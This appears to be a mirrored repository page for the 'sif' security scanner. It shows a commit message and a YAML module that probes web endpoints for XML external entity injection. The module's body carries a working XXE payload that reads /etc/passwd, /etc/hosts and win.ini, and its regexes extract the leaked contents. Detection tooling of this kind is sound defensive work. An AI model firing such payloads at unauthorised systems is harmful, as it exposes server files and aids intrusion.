mirror of
https://github.com/lunchcat/sif.git
synced 2026-07-28 22:40:54 -07:00
TigahandGitHub
294bfb090b
* feat(modules): add host-header injection and xxe probe modules host-header-injection sets an rfc 2606 .invalid marker in the forwarded-host headers and fires only when it comes back inside an absolute-url construct (href/src/action/content/url), so a benign echo into text or an attribute cannot trigger it. xxe-error-based expands a SYSTEM entity pointing at a local file and matches only that file's contents, so an echo of the payload (a path string) cannot satisfy it. * chore(modules): trim redundant module header comments drop the leading comment restating id/name on host-header-injection and xxe-error-based
61 lines
1.4 KiB
YAML
61 lines
1.4 KiB
YAML
id: xxe-error-based
|
|
info:
|
|
name: XML External Entity Injection
|
|
author: sif
|
|
severity: high
|
|
description: Detects XML external entity injection by confirming the parser expanded a SYSTEM entity and returned the contents of a local file the payload never contained
|
|
tags: [xxe, injection, xml, owasp-top10]
|
|
|
|
type: http
|
|
|
|
http:
|
|
method: POST
|
|
paths:
|
|
- "{{BaseURL}}/"
|
|
- "{{BaseURL}}/api"
|
|
- "{{BaseURL}}/api/xml"
|
|
- "{{BaseURL}}/xml"
|
|
- "{{BaseURL}}/soap"
|
|
- "{{BaseURL}}/upload"
|
|
- "{{BaseURL}}/import"
|
|
- "{{BaseURL}}/xmlrpc.php"
|
|
|
|
headers:
|
|
Content-Type: application/xml
|
|
Accept: application/xml
|
|
|
|
# the payload is only ever a file *path*; a match requires the target
|
|
# file's actual contents, so a benign echo of the payload text (the path
|
|
# string itself) can never satisfy the matcher.
|
|
payloads:
|
|
- "/etc/passwd"
|
|
- "/etc/hosts"
|
|
- "/windows/win.ini"
|
|
|
|
body: |
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://{{payload}}"> ]>
|
|
<foo>&xxe;</foo>
|
|
|
|
threads: 10
|
|
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
- "daemon:.*:1:1:"
|
|
- "nobody:.*:65534:"
|
|
- "127\\.0\\.0\\.1\\s+localhost"
|
|
- "\\[fonts\\]"
|
|
- "; for 16-bit app support"
|
|
condition: or
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: leaked_content
|
|
part: body
|
|
regex:
|
|
- "(root|daemon|nobody):.*:[0-9]+:[0-9]+:"
|
|
group: 0
|